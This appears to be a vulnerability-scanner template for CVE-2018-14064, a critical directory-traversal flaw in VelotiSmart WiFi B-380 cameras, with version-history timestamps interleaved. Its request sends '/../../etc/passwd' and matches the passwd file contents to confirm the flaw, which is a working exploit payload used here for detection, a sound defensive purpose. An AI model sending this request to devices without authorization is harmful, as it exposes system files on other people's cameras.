2021-09-07 12:44:38 +00:00
id : CVE-2018-14064
info :
name : VelotiSmart Wifi - Directory Traversal
author : 0x_Akoko
2021-09-10 11:26:40 +00:00
severity : critical
2022-05-13 20:26:43 +00:00
description : VelotiSmart WiFi B-380 camera devices allow directory traversal via the uc-http service 1.0.0, as demonstrated by /../../etc/passwd on TCP port 80.
2021-09-07 12:44:38 +00:00
reference :
- https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
- https://www.exploit-db.com/exploits/45030
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14064
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-14064
cwe-id : CWE-22
2022-08-27 04:41:18 +00:00
tags : edb,cve,cve2018,lfi,camera,iot
2021-09-07 12:44:38 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
- type : status
status :
- 200
2022-05-13 20:26:43 +00:00
# Enhanced by mp on 2022/05/12
